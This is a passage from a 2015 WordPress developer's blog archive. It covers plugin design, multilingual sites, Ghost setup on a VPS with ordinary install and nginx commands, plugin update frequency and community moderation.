Be a starter plugin. Be a plugin that I can download. Use that underscores form so I can download everything set up for ‘me’ right away, no search and replace needed. Have a template settings page that creates basic options, just like a theme. Except that plugins are not themes. And there’s the real issue. A theme is ‘easier’ (and this is subjective) because it only has *one* interface: The customizer.
Plugins can add a menu section, they can add an option to an existing area like discussion, they can be silent and have no information and just work. Plugins can do *anything* and in any way. There’s not a ‘standard’ because there really can’t be.
## Is There An Answer?
I think the starter plugin would work, if it came with options. It would more likely be a workflow. Where do you want your menu? Will you connect to an API? Will you need settings?
If someone can boil that down, it would all be better.
**Categories:** How It Is
**Tags:** development, essay, wordpress
---
### [Multiple Languages, Multiple Approaches](https://halfelf.org/2015/multiple-languages-approaches/)
**Published:** May 27, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I was contemplating WordPress and how it handles multiple languages recently.
**Content:**
I was contemplating WordPress and how it handles multiple languages recently. There are really two main aspects of multilingual sites. There’s multiple languages for the reader (the visitor) and there’s multiple languages for the admin. The two may not be in sync.
## For the Admin
This has always been a little tricky. Assuming all projects have the same number of available language packs, you get two primary methods of translating the admin section.
First is the site is set for a language. That means the owner of the website decides “This site will be English, have a nice day.”
The other option is to have the setting be per user, so a user goes to their settings page and says “I speak French.” Obviously the main site setting (see above) will be where they start from, and this can be a little weird to find on some apps.
The per-user setting is the most common, though it gets rather complex when you consider things like a WordPress multisite network. What if I want to make a site for the French and edit it in English? In MediaWiki too, this is an issue. I can only edit French WikiPedia in French. Initially. I can go in and change it per site, but there’s no global ‘default my account to English.’ Which is right? In the case of WikiPedia, it would be sensible to default me to the language on the site where I first make my account. If I sign up via fr.wikipedia.org, I should default to French.
## For the Front End
If you only need one language, this is pretty easy. Pick the language for the site, write in it, and you’re done. For most Americans, this is ‘standard.’ But what happens when you need multiple languages on the front end? For the most part, things have to be either intended from the start or something you add in later. And both have drawbacks.
WikiPedia, for example, has two methods. First they have a site for each language that cross links back to other languages:
[](https://halfelf.org/wp-content/uploads/sites/2/2015/05/wikipedia.png)
They do this via [Interlanguage Links](http://en.wikipedia.org/wiki/Help:Interlanguage_links), but also via an extension called [Translate](http://www.mediawiki.org/wiki/Extension:Translate) which allows groups of people to translate.
ZenPhoto uses serialized data. When you edit your content, you can add in the descriptions for it in each language. This has pros and cons. Weird things happen if the CMS ever forgets what language you’re using (an issue I actually did have for a while).
When we look at WordPress, it tends to use plugins. Currently I’ve been recommending [Bogo](https://wordpress.org/plugins/bogo/) for translations. The other options are to make a Multisite and have each language be a site, but without the Interlanguage Links features of MediaWiki, cross-linking people back and forth based on language can be complicated.
## Another options?
I’m not as versed in translations as I should be. Are you? I’d love to hear how you (and your projects) handle multiple languages for both admins and visitors.
**Categories:** How It Is
**Tags:** language
---
### [Editing Content In Ghost Rocks](https://halfelf.org/2015/ghosting-dog-food/)
**Published:** May 20, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I really like the editor on Ghost
**Content:**
You may have noticed based on tweets that I’ve been using Ghost daily (mostly) for a little while now, trying to get a feel for it vs WordPress.
You know what? With the exception of wanting to kill people while I was installing it, I really, *really*, like it for simple blogging.
The editor is a delight, plain and simple. It’s *fast*. Super fast. There’s nothing dragging it down man. Which ironically is where it loses.
You see, there’s no extendability. It’s like the Old Days of WP, where I have to edit a theme to make widgets. Oh and no apps right now.
Not to mention the drama of installing. It sucks for self hosted. This continues down to installing themes (sucks) and apps (non-existent). You have to reboot the Ghost ‘node’ after every change too. This is not tenable for most people and highlights the need for apps. Oh. Yeah. Apps are a thing that Ghost needs, stat.
Right now, they’ve added in a way to add code to your header and footer without needing to edit themes, which means I was able to put in my Google Analytics code easily.
Ghost is Ghost. WordPress is WordPress. For what I do, WP is right. For plain, simple, blogging, Ghost is good except for the Markdown aspect. I’ve got the hang on it, but it’s been nine years and I doubt it’s ever going to be ‘the thing.’ HTML wins for many reasons.
So what do I want from Ghost into WordPress? That damn editor! Seriously.
[](https://halfelf.org/wp-content/uploads/sites/2/2015/04/editor.png)
The content on the left and preview on the right is great. It live updates and I can see what things look like in the Visual editor while having full code control like the HTML editor. In addition, there’s *no* place to put in the tags or featured images or anything other than content. Until I click on that gear.
[](https://halfelf.org/wp-content/uploads/sites/2/2015/04/editor-gear.png)
That is slick. And it works great on mobile too. Compared to the fade out and off center DFW editor in WP, which is pretty great, it’s awesome.
Of course I looked at the available plugins for WordPress
[Gust Plugin](https://wordpress.org/plugins/gust/) – This looked great, but it doesn’t work on Multisite. On WP 4.2 it threw this:
```
Fatal error: Cannot redeclare get_avatar_url()
(previously declared in
/wp-includes/link-template.php:3414) in
/wp-content/plugins/gust/gust.php on line 202
```
Then there’s [Splitdown](https://github.com/Necrotex/Splitdown) – Not updated in a year and also errors:
```
Parse error: syntax error, unexpected T_STATIC,
expecting ')' in
/wp-content/plugins/Splitdown-master/Splitdown.php
on line 19
```
Finally we get to [PrettyPress](https://wordpress.org/plugins/prettypress) – This isn’t a ‘Ghost’ plugin exactly but it makes a second ‘editor’ you can flip into. No save button there, but as an editor it’s rather nice.
At this point, I’m resigned to not having that kind of slick editor in WordPress. I do think it’s a nicer direction than ‘distraction free’ as it’s actually fewer distractions. All I see is my content and a preview.
**Categories:** How It Works
**Tags:** design, ghost, wordpress
---
### [Coding My Own Dogfood](https://halfelf.org/2015/coding-dogfood/)
**Published:** May 22, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Your pull request is more than a bug fix, it's a promise.
**Content:**
I say no to a lot of pull requests on code.
This is because I write plugins, not something massive and monolithic and used on a million websites. I’m a sole developer for my code, for the most part, and while pull requests are always welcome, the main reason I reject them is because I eat my own dogfood.
Back in March of 2015, I decided to [start using CloudFlare](https://halfelf.org/2015/march-cloudflare/) because we, at DreamHost, parter with them, so I should, you know, use them. It’s the same reason I use PageSpeed so much. And WordPress. I use what I use because I *need* to use it to be good at it.
You cannot possibly be expected to write code for WordPress and support it if you don’t use it.
I say this over and over again when I’m training people on WordPress. If you want to get good at supporting and fixing WordPress, then you need to use it and fix it. A lot. Every day. You need to use it so you know where everything is and can recognize what it should and should not do. You need to fix it so you know how to make it go back to looking like it should.
If you’re writing code for WordPress, you need to do that too.
Here’s my bottom line. If I’m writing a plugin, it’s going to be because I need what it does. If I’m writing a plugin, it’s because I’m going to use it. If there’s a feature I disagree with, I won’t add it in. If it’s something I will never use, it’s not going in. If it’s code I cannot test, I will never, ever, add it.
That last one gets people mad at me a lot.
The reality is that if I add in a feature for you and it doesn’t work, I can’t fix it because I don’t have the access needed. I cannot reproduce the error. If I can’t do that, how can I possibly fix it? I’ll have to work with you, via posts and emails, if you can’t fix it yourself.
Pull requests are a wonderful thing, but if you’re making a pull for a new feature that’s something I can’t validate and test, then you’re also taking on the responsibility I did for the community. You’re promising to help me test it, develop it, future proof it. You’re promising to be there when I want to release a new version for everyone else. You’re promising to help support it and help others debug it.
Are you ready for that?
**Categories:** How It Is
**Tags:** coding, development, essay, support
---
### [2.2 Million AOL Dialup Users](https://halfelf.org/2015/2-2-million-aol-dialup-users/)
**Published:** May 15, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I was terrified but not for the reasons people seemed to think.
**Content:**
InfoSec Taylor Swift tweeted about how a man using AOL’s dialup and AT&T got charged [$24,000 for the number he dialed](http://arstechnica.com/business/2015/04/28/att-aol-24000-phone-bill-for-one-retiree/).
My take away?
https://twitter.com/Ipstenu/status/593236980848164864
You see, I read this line and did a double take.
> Eighty-three-year-old Ron Dorff of Woodland Hills is one of the 2.2 million remaining AOL dial-up customers.
2.2 million people are still on AOL dialup.
Most of my Twitter followers took my shock the wrong way. Folks, I know that there are many reasons for this. I know that folks in the sticks don’t have other options. I know that it’s cheaper than satellite for people on a budget.
None of that was my point.
Or rather, it was but not the way people seem to think about it.
Woodland Hills is in the LA Metro area. He has other options. Still not my point.
No, my point is something Eric Mann said at [WordCamp Portland 2013](http://wordpress.tv/2013/09/11/eric-mann-lightning-talk-the-future-of-wordpress-lies-in-the-past/) that stuck with me (and my wife). My point is that if only 50% of phones in America are smart phones and that if 2.2 million people in the US use AOL dialup, that’s a lot of people.
50% of America is 159.45 million.
2.2 million people is 0.69% of America.
Interestingly, a Pew survey determined that [3% of Americans use dialup at home](http://www.pewinternet.org/fact-sheets/broadband-technology-fact-sheet/). That’s 9 million people.
My ‘terrifying’ moment had nothing to do with the fact that people are on AOL (though I admit I thought AOL had canned dialup). My moment was entirely because we, the creators of the internet, are making a poor experience for about 9 million people. Realistically, we’re probably making the internet suck for a lot more, with our heavy websites that do a million things and are slow.
In our push to go forward, we forget about the past, and we forget to take care of the past and degrade nicely. We can’t always support everyone, but 3.18% of Americans on the internet use IE8 (according to [statcounter](http://gs.statcounter.com/#browser_version-ww-monthly-201404-201504)). If we still care about IE 8 (and yes, we do), then we should care about the 3% who use dialup, and the more who are stuck on their cell phones (check out the [7.9% of users who are on the ‘other’ OS for phones, I bet they’re the ones on non-smart phone](http://gs.statcounter.com/#desktop+mobile-os-ww-monthly-201404-201504-bar)).
It’s terrifying how, in our push forward, we forget them.
The video is 5 minutes. You can watch it.
[](https://halfelf.org/wp-content/uploads/sites/2/2015/05/CDuhpcjVEAAge6f.png)
**Categories:** How It Is
**Tags:** essay, website
---
### [Update Fatigue](https://halfelf.org/2015/update-fatigue/)
**Published:** May 4, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** There are two simple rules for updates: When there are new features or when there's an important bug. Other than that? Hands OFF that push!
**Content:**
The week of April 20th saw a lot of WordPress related updates:
1. WordPress 4.1.2
2. WordPress plugins with a major security issue
3. WordPress 4.2 and 4.1.3
4. A bunch of themes fixing the same issue plugins had
5. WordPress 4.2.1 and 4.1.4
I don’t know about you, but even with automated updates, I was *tired* of all the updates. I was also tired of explaining to people that, yes, those security issues were a massive hole and yes, they did need to be patched. And yes, I know it’s annoying to get all those emails and have to test all the things because not every plugin or theme is created equal.
In the midst of all that, I noticed one of my plugins had updated 6 times in ten days. That’s pretty much an update every other day and you know what? That’s way too much.
If I have to update your plugin *every* few days for minor releases, I’m going to stop using it. Update when you:
1. have a point release
2. are fixing really important bugs
Other than that, if you update every few days for minor changes, I really am stopping using your plugin because you are making my life annoying. You’re why people hate updating. You’re why they stop.
There are valid reasons for multiple releases in a week, like bug fixes for 0-day security holes that have already been publicly disclosed. But in this case, it was all minor changes, like adding languages and so on.
That was useless and pointless and annoying. Okay, fine. Maybe not useless or pointless. Those are important things to update. But when should you update them? Not every day, certainly, nor even every week. If you look back on my two simple rules for when you should update, consider them seriously.
## Is this a bug or a new feature?
New features means new major revision *unless* there’s a reason not to. My plugin Genericon’d keeps pace with Genericons’ versioning, so while they’re on 3.3, I will update 3.3.1 with a new feature. The majors are at their behest, so I have to take control over minors only. It’s not ideal. I hate it but it’s the best way to make sure people know “Hey, this has version 3.3 of Genericons!”
New languages aren’t bugs nor are they really features, but they should only be added if there’s a major release. Alternately, you can slip them into a bugfix, but they shouldn’t be your *only* fix. As for the person who really needs the language? Make them available on git or svn and tell them to download and put it in the `/wp-content/languages/plugin/name/` folder. Not ideal, I agree, but it’s a majority/minority issue.
## How often should you patch bugs?
Is it a zero-day exploit, released in the wild, bug that’s breaking sites right now?
**RELEASE THAT SUCKER!**
Is it a minor bug that annoys you but doesn’t cripple the site? Make a dev branch, fix it, but don’t push the release just yet. Wait until you have a lot of bugs fixed. Or wait until you have the next major release.
Take a page from how WordPress.org pushes minor releases. Fix the bugs that need fixing. Solve the security problems. But updating every day? Not a great experience for anyone.
## Opps! You missed a critical bug!
That happens. Update the plugin right away. Yes it sucks but see the bit I bolded above? That’s your exception. If you break something, fix something. We pushed 4.1.3 because we *broke* sites with 4.1.2. Period. Fix it.
## But you’re sure people really want this new thing!
Maybe, but people also really don’t want to be hassled and you’re hassling them. People have (understandable) concerns about updates. They worry about bug fixes. They worry about how your change will impact all their other plugins and themes. Keep that in mind before you push a change or a fix.
## Did you update that changelog?
It’s your code diary. For every good commit message there should be a good changelog entry. Just do it. You’ll be thanked.
**Categories:** How It Is
**Tags:** development, essay
---
### [Self Ghosted](https://halfelf.org/2015/nux-self-ghosted/)
**Published:** May 11, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** No one said this was easy. And if they did, they lied.
**Content:**
I had to restart everything.
You see, getting Node.js *and* apache to work together wasn’t going to fly, so I went and built a new VPS with Ubuntu over on DreamHost. Obviously not everyone has this luxury, but since I do, and since DreamHost made this as easy as clicking on a box, I thought it would be perfect.
## Requirements
You have to be shell savvy for this. Sorry. There’s no other way. Just accept that and move on.
You need a VPS. The new Ubuntu SSD VPSes all have a one-click ability for Node.js which makes life easier.
You *should* use nginx and not apache.
Ghost requires Node.js 0.10.x (not 0.12.x). They recommend Node.js 0.10.36 & npm 2.5.0. Of course, DreamHost installs node 0.12.x and npm 2.5.x. You can check by typing `node -v` and `npm -v` to see what versions you have. Does this mean you can’t run Ghost? No, it’ll work, but it’s not what they like.
You’ll also need an ‘admin’ account on your server. From panel, click on “VPS” and then “Manage Admin Users” to add a new user to that box.
## Get Node.js on your VPS
This is quite simple. First, get an Ubuntu VPS. All the new boxes on DreamHost are Ubuntu, so this is the easy part. Once you have the VPS on DreamHost, make a new domain. I made [ghost.elftest.net](http://ghost.elftest.net) and in the settings, I checked a box to use node.js:
[](https://halfelf.org/wp-content/uploads/sites/2/2015/04/enable-node.png)
That will force my file path to be `~/ghost.elftest.net/public` (normally on DreamHost it’s `~/domain.com` you see) but that’s not an issue since this is a new box. That path will be my ‘home’ folder for the domain and where I install everything (if someone asks you ‘where is X installed on your server?’ you tell them that path). That path also means that had I *already* been using that domain, it would mess up my folders and paths. If you’re doing this on an existing domain, keep that in mind.
## Install Ghost
[Like I said before](https://halfelf.org/2015/nux-setting-ghost-self-hosted/), you have to install on your server, *not* your desktop. Every single doc I read told me I *HAD* to do this as the server admin, someone with sudo access. I really, really, really did not like that. I mean, epic levels of hate for the idea that I couldn’t have my user account own things, and have the code in my darn web folder.
Me being me, I hatched a plan. I was just going to do it. I was just going to install it in my webfolder and see how it goes. I came up with this theory because when I read [How To Install Ghost on DreamHost](http://www.howtoinstallghost.com/how-to-install-ghost-on-dreamhost/) I noticed it wanted me to have a specific user chown the folders. *Not* the admin user, but a special ghost user. So what if I just made ‘elftestghost’ the ghost user, and what if I just used `~/ghost.elftest.net/public/ghost/` as my install directory instead of `/var/www/ghost/`? And this way, I’d be able to pop in and edit things as my normal user.
So here’s what I did.
```
$ curl -L https://ghost.org/zip/ghost-latest.zip -o ghost.zip
$ unzip -uo ghost.zip -d ghost
$ cd ghost/
$ npm install --production
```
That’s it. Ghost is installed. I expected that last step to fail and I’m still a little surprised it didn’t. If it does fail for you, run it as your admin account with sudo, and then chown it over to your ‘owner.’
## Configure Ghost
Now that Ghost is installed, you may wonder where it is. We haven’t finished the install yet as it happens. We need to configure it and to do that, we copy the file `config.example.js` to `config.js` and open it up.
Once you look at it you see that there are multiple ‘config’ options. Since we called `--production` in our start command, logically we’re going to edit that section. And lo, there’s the bad URL:
```
config = {
// ### Production
// When running Ghost in the wild, use the production environment
// Configure your URL and mail settings here
production: {
url: 'http://my-ghost-blog.com',
mail: {},
```
Change that to the right URL. Mine is http://ghost.elftest.net
Also look for this:
```
server: {
// Host to be passed to node's `net.Server#listen()`
host: '127.0.0.1',
// Port to be passed to node's `net.Server#listen()`, for iisnode set this to `process.env.PORT`
port: '2368'
}
```
Change the host to `0.0.0.0` and save the file. You can also set it to the IP of your server, but as that might change, it’s not required.
Finally you’ll want to set up mail which [can be complex](http://support.ghost.org/mail). I set up a special account on my own server.
## Setup Ghost
Seriously this is not a five minute install. Your site starts with a Hello World type post which tells you all about the glory of [Markdown](https://halfelf.org/2015/markdown-isnt-bad/ "Markdown Isn’t All Bad"). If you go to your admin page (http://ghost.elftest.net/ghost/) it sends you to http://ghost.elftest.net/ghost/setup/ where you get this:
[](https://halfelf.org/wp-content/uploads/sites/2/2015/04/create-blog-user.png)
This actually makes more sense than it did on the Ghost Pro site, where I was wondering why I had to make a user and then a user. Here I’m clearly making a user for the site. There I was making a user for their network (Ghost Pro) and then one for my site.
## Setup Nginx Proxy
Will it never end? The reason we want to do this, and this is why we’re on nginx and not apache, is in order to have a pretty URL without the port number.
Log in to your server as your ‘normal’ account (the one who owns the domain, not the admin) and make an nginx folder for config:
```
cd ~
mkdir -p nginx/ghost.elftest.net
```
Then make a file called `ghost.conf` with the following:
```
location / {
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $http_host;
proxy_pass http://localhost:2368;
}
```
Restart nginx (which yes, you need the sudo power for so yes, you need an admin account) and it’ll magically work. If you get a “502 Bad Gateway” error, it’s because Ghost isn’t running. Speaking of…
## Make Ghost Always Start
Okay so I actually do need my admin account. I went with the [init script](http://support.ghost.org/deploying-ghost/#init-script) approach to keeping the Ghost always on.
```
$ sudo curl https://raw.githubusercontent.com/TryGhost/Ghost-Config/master/init.d/ghost \
-o /etc/init.d/ghost-elftest
```
Then I edited the ghost-elftest file:
```
GHOST_ROOT=/var/www/ghost
GHOST_GROUP=ghost
GHOST_USER=ghost
```
I changed that to where ghost was really installed, but it brings up an interesting thought. What if I wanted multiple ghost instances? Well that’s actually *why* I named the file ‘ghost-elftest’ instead of ‘ghost’ (which they recommend). With this setup, I can name an init file for each instance and run the commands as `sudo ghost-elftest start` and so on. Keep in mind, you also have to pick a custom port for each instance.
There are three final commands to run in order to force Ghost to start up on reboot:
```
$ sudo chmod 755 /etc/init.d/ghost-elftest
$ sudo update-rc.d ghost-elftest defaults
$ sudo update-rc.d ghost-elftest enable
```
Now I can use Ghost to my heart’s content.
## Conclusion?
A WordPress killer this is not. It’s just not. If they can make it run without the need for admin/root/sudo access, it has a chance. Once it’s set up, it’s quite nice, but the 5 minute install this is not, and it’s going to need that to beat the beast.
**Categories:** How To
**Tags:** command line, ghost, open source
---
### [NUX: Setting Up Ghost (Self Hosted)](https://halfelf.org/2015/nux-setting-ghost-self-hosted/)
**Published:** April 29, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sometimes NUX sucks really badly. Ghost's self hosted experience is the pits.
**Content:**
Once I used Ghost Pro, I thought about self hosting. I have a WP site that’s basically wasted as a WP site. It’s small, it’s static, and it rarely changes. I thought it would be perfect for Node. There are also a couple of small, basically HTML, sites I run in the back of things. This would be fine to manage that.
But first I had to address a major misconception.
## You Install Ghost on Your Server
For some reason in my head I had this working like Jekyll, which I would install on my computer and push up to my server. No, I’m not so much installing Ghost as [Deploying Ghost](http://support.ghost.org/deploying-ghost/).
## But I Installed Ghost On Your Computer
I decided to do this anyway, just to see what I was getting into.
To install Ghost you must install Node.js first. Since I have [Homebrew](https://halfelf.org/2014/its-not-beer-its-homebrew/ "It’s Not Beer It’s Homebrew"), this is two commands:
```
$ brew unlink node
$ brew install node
```
I had an older version of Node.js installed for whatever reason.
Sadly I can’t install Ghost this way.
[](https://halfelf.org/wp-content/uploads/sites/2/2015/04/brew-node.png)
Next you [download Ghost](https://ghost.org/download/) (I was download 564,730) and at this point I hesitated. The directions don’t tell you *where* to put the files. It just says this:
> Next, grab the newly extracted ‘ghost-#.#.#’ folder and drag it onto the tab bar of your open terminal window, this will make a new terminal tab which is open at the correct location.
Since I know that upgrading involves [replacing the files](http://support.ghost.org/how-to-upgrade/), I’m no fool, and I made a new folder setup: `~/Sites/ghost/sitename.com/` That’s where I ran node commands:
```
$ npm install --production
$ npm start
```
Done. Now I have Ghost up and running locally.
## Install Ghost on My Server
In a word? Ow.
The main issue is Node.js and Apache both want to use the same ports. That’s impossible. And I want to keep Apache running port 80 because this VPS runs… well… WordPress. This is where I stopped the first time I tried to do all this and tossed this post into a long draft.
There are directions on [How to Host Ghost on an Apache Subdomain](http://www.howtoinstallghost.com/how-to-host-ghost-on-an-apache-subdomain/), which luckily is what I wanted to do. Except it was complicated and messy and required root.
So the NUX here? Absolute crap. It’s just not something a new user would want to do, be able to do, or be able to maintain.
And that sucks.
Ghost’s got a great interface, one that I like better than WordPress for blogs and simple sites. It’s nailed *simple* in a way we crave. But it came at a cost. WordPress’s simple to install is fraught by it’s IDIC complex. Infinite diversity in infinite combinations, with the themes and plugins, lends WordPress amazing abilities but a pretty insane learning curve. Ghost I could sort out in a couple hours but you really can’t do too much with. I wouldn’t use it for a store. I might use it for a blog if I had to start over.
Except I can’t (easily) self host it because of stupid Node.js.
If they can sort that out, make it so I can easily, without root, install and manage Ghost, I’ll be back.
Until then, Managed Ghost Hosting is the way to go. Or WordPress. Take your pick.
**Categories:** How To
**Tags:** ghost, open source, software, website
---
### [Detoxify Your Website](https://halfelf.org/2015/detoxify-website/)
**Published:** April 27, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Cleanse your site's colon and keep your sanity.
**Content:**
The following are my speaker notes for WordCamp Minneapolis 2015. The slides are up at :
## There Are Many Kinds of Toxic People
- The hater
- The know-it-all
- The concern troll
- The Pilkunnussija
When your site gets popular, you get a diverse group of regulars. Not all are created equal. There’s the hater who hates you all, the one who knows everything, the one who CLAIMS to want to help but really derails you on small things, and then… Well you can google that last one, but the short version is the one who says “you spelled it T E H” in the middle of a passionate discussion about the next season of Sherlock, and Oh my GOD did that really matter?
## You Dread Your Own Site
### Where Did The Fun Go?
You used to love your site, seeing the comments, checking out what the new people had to say. And now, thanks to those other people, those toxic people, you hate your own site and you’re pretty sure the community is going dark and twisted and you know what it’s time for?
## Cleanse Your Colon
### Keep your Community Healthy
It’s time to give things a scrub. There are only four steps to being able to survive a successful blog cleanse. If you’ve ever tried those cleanse drinks, you’ll know that it’s not easy to make it through, but you can do this. Just … don’t Google Image search ‘colon cleanse’ please. I regret that.
## Step One
### Forget the First Amendment
You know the one. The one people always throw out at you, that they have the “right” to say what they want? They don’t. They just don’t. They can shut up now. The site is yours, you bought the domain, you pay for the hosting. The First Amendment has never had any bearing on our blogs so don’t be afraid to delete comments.
## Step Two
### Be Consistent
If you’re going to clean your site and make sure it’s what you want to be and do and work on, then you need to make your rules and stick by them. If a rule is “no talking about George Clooney’s personal life” then you have to be strict. Keep it solid and don’t waver, not even for yourself.
## Step Three
### Arm Yourself
WordPress has some built in tools that most people use when thinking about spam, but what if I told you to use Comment Moderation on their key phrases. What if you took the people who slammed you and attacked you and put their emails in the block list? Done. Get them out of your life.
## Step Four
### Trust Yourself
If you get that feeling, that gut feeling that says “This is about to go wrong” then you need to believe yourself. Trust yourself. Have faith that you know the vibe of the site you’ve been working on all this time.
## WordPress Tips
- Use the Comment Moderation and Comment Blacklist
- Use plugins like Comment Probation to monitor new people
- Watch their IPs
## Outside WordPress
- Block them from your email
- Use Twitter and Facebook’s block functions
## Don’t Give Up
I’ve been wrangling communities online for a long time. I’ve faced burnout and exhaustion and pain. But I’m not alone. I have the other communities like mine to lean on. I have fellow forum mods to ask for backup. I have friends who tell me I’m going too far.
Don’t give up. You’re not alone.
**Categories:** How To
**Tags:** community, essay, management
---
### [Newsletters Are Still Cool](https://halfelf.org/2015/newsletters-still-cool/)
**Published:** May 6, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** This is weirdly short. But they are still kinda cool.
**Content:**
It started with a mention:
https://twitter.com/melchoyce/status/585292033390182401
And I went and looked up [TinyLetter](http://tinyletter.com/)
It’s simple. It’s as easy as writing a blog post and boom, you’ve sent a mail. In so far as that goes, it’s awesome.
It’s too simple. There isn’t a way to really automate it.
It’s really cool. It just works and sends out a nice, easy to read, email.
It’s really annoying. You have to get folks to sign up.
I really want to like it and use it, but I’m not sure I have a use case. Thanks to Jetpack, I push to LinkedIn, Facebook, Twitter, etc, and my family sees the things. They sign up to Jetpack emails for in-boxes.
But if I needed a newsletter, I’d use TinyLetter.
**Categories:** How It Is
**Tags:** email
---
### [Mailbag: Ghost Image Errors](https://halfelf.org/2015/mailbag-ghost-image-errors/)
**Published:** May 8, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I had a small issue with uploading images on Ghost. I solved it. I feel smart.
**Content:**
Once I got Ghost up and running, I got some errors and there was venting around the usual places. Image uploads were failing. I cried. Then I solved it. Then someone asked a logical question.
> How did you fix the image upload issue?
What happened was that I found I was getting a Wiggly Cat whenever I uploaded an image. Eventually the upload failed.

The cat bounced up and down. My wife eyed it and said “That’s not much of a chuffing SOS now, is it?” (no, she’s not British, but what else can you say about that?). Thankfully, after years of WordPress support I went right into the file system and checked if the images were being uploaded at all. Answer? Sort of.
```
$ ls -lah
total 0
drwxr-xr-x 2 elfghost elfgroup 131 Apr 15 17:22 .
drwxr-xr-x 3 elfghost elfgroup 23 Apr 15 17:12 ..
-rw-r--r-- 1 elfghost elfgroup 0 Apr 15 17:13 f4c134eb021e026414a1bd23d3c5c927-1.jpeg
-rw-r--r-- 1 elfghost elfgroup 0 Apr 15 17:12 f4c134eb021e026414a1bd23d3c5c927.jpeg
-rw-r--r-- 1 elfghost elfgroup 0 Apr 15 17:22 unicorn.jpeg
```
0 bytes isn’t right. But again, WordPress support history to the rescue. I checked my `/tmp` folder, saw it was full, turfed the entire thing, and the upload worked. Rather fast, too, since it’s not making an image resizes. I will note, had that fix failed, I’d have started playing with folder permissions, but since I got the 0-byte version, I was reasonably sure that wasn’t my issue.
Two humor tidbits for you.
Bing thinks I write in Turkish:
[](https://halfelf.org/wp-content/uploads/sites/2/2015/04/Screen-Shot-2015-04-15-at-15-Apr-7.54.29-PM.png)
Here’s a cute bouncing cat:
[](http://www.pusheen.com/)Pusheen The Cat
**Categories:** How To
**Tags:** debug, ghost, images, mailbag
---
### [NUX: Setting Up Ghost Pro](https://halfelf.org/2015/nux-ghost-pro/)
**Published:** April 22, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I'm not giving up to Ghost quite yet, but it is an interesting experience.
**Content:**
NUX stands for “New User Experience” and I’ve been dabbling in it recently with WordPress, trying to understand where we fail for new users. My friend did a comparison for his company of other similar tools and told me that Ghost’s was the worst. I didn’t believe him, so I decided to check it out.
[Ghost](https://ghost.org/) is a simple, powerful publishing platform. It’s dead simple. It’s basic. And it’s weirdly hard and complex. The code is simple, but much like WordPress, it’s hit the wall of explaining new concepts to people. Ghost Pro is their ‘managed hosting’ version, where you sign up and get a blog.
Of note, this is not talking about the self hosted Ghost application.
## Registration Is Easy As Pie
This is easy. You go to the main page of Ghost.org, you pick a username and password, you press ‘test it out.’ That then asks if you want the download or to make a new site, and don’t worry about the credit cards yet. You get 14 days free. If you pick the new site, it asks for the site name, the URL you want (it’ll be something.ghost.io) and then…
[](https://halfelf.org/wp-content/uploads/sites/2/2015/04/ghost-02.png)
It’s weird that it wants my name and password, and I do wonder if it’s making another account on the system. Do I now have a user account and a ‘network’ account?
## Writing A New Post Is A Lie
Once you have your site, you’re dumped here:
[](https://halfelf.org/wp-content/uploads/sites/2/2015/04/ghost-01.png)
They even have an animated ‘Write A Post’ button there, which is great. Except it’s a lie. That link kicks you to the `https://something.ghost.io/ghost/1/` page which is the ‘Hello World’ type post and you can edit it. Except you’re not told you can edit it. You’re just told your site is live.
First up, that “Write A Post” button should have been “Complete Setup”.
Second, when I do complete setup, I should have a nice popup to tell me “Your site is setup! This is your first post. You can edit it…”
There is a nice EDIT button, but that should have been animated too. That takes you to the editor, which is realtime and actually quite nice.
[](https://halfelf.org/wp-content/uploads/sites/2/2015/04/ghost-03.png)
## Continuing Setup Is A Five
If you go to `https://ghost.org/setup`, it will tell you there are five steps to setup.
1. Create an Account (you’ve done that to get this far)
2. Writing a post (you have to write a new one, not edit the existing one)
3. Picking a Theme
4. Add a domain
5. Share your work
## Write A Post? Let’s Try.
The setup is an editor only on the left, with a preview on the right. Fine. Click click type. Then I wanted to add an image, so I tried the old drag & drop from WordPress. Nope! Looking at the Help, I found this:
> When adding images to your Ghost blog, you start by either pressing Ctrl+Shift+I or by typing in `![]()` into your post editor. You will then see an image box show up on your markdown preview.
That was fairly easy to find, but then I got this:
[](https://halfelf.org/wp-content/uploads/sites/2/2015/04/ghost-04.png)
It took me a moment to realize I could click on that to get the uploader interface. In fact, not until I hovered over and saw ‘No File Chosen’ did it register. The little link icon on the bottom left made sense, but there was nothing that told be “Click here and upload.”
## Scheduled Posts … Why?
I decided to try scheduling a post. Since by default the save button on the bottom right is ‘Save Draft’ and I knew by hovering that I could do a ‘Publish Now’ there, I assumed the little gear to the left was for extra things:
[](https://halfelf.org/wp-content/uploads/sites/2/2015/04/ghost-05.png)
And lo, it did show me a lot of options, that were *just* a bit too long for my 15″ monitor:
[](https://halfelf.org/wp-content/uploads/sites/2/2015/04/ghost-06.png)
There I was able to pick a future date, but instead of changing to ‘Schedule Post’ the button remained ‘Publish Now’ which was rather disconcerting. Picking publish, it worked just as it was supposed to, though, so there’s that.
## Themes Don’t Fly
Time to pick a theme! From the getting started flow, I pressed the button for ‘Marketplace’ because I don’t need to watch a video, right?
[](https://halfelf.org/wp-content/uploads/sites/2/2015/04/ghost-07.png)
That button takes you back to your Ghost dashboard. From there you have to click on the link at the top of the page for the [Marketplace](http://marketplace.ghost.org/). Then you download the theme’s zip, go to the settings page for your blog, and upload the zip there. Very weird. Very odd.
## Overall? Not Yet.
I like it. It’s easy to write once you figure out a couple things, but the disjointed behavior of where you go to do things is confusing and a bit of a headache. For a brand new user who’s never have a website, it fails when you compare to WordPress.com *except* in the arena of posting content. It’s simple for that. It’s the management levels where it fails.
**Categories:** How To
**Tags:** ghost, open source, ux
---
### [Mailbag: Homogenous websites?](https://halfelf.org/2015/mailbag-homogenous-websites/)
**Published:** April 24, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** All of these things are quite like the other. All of these things are quite the same.
**Content:**
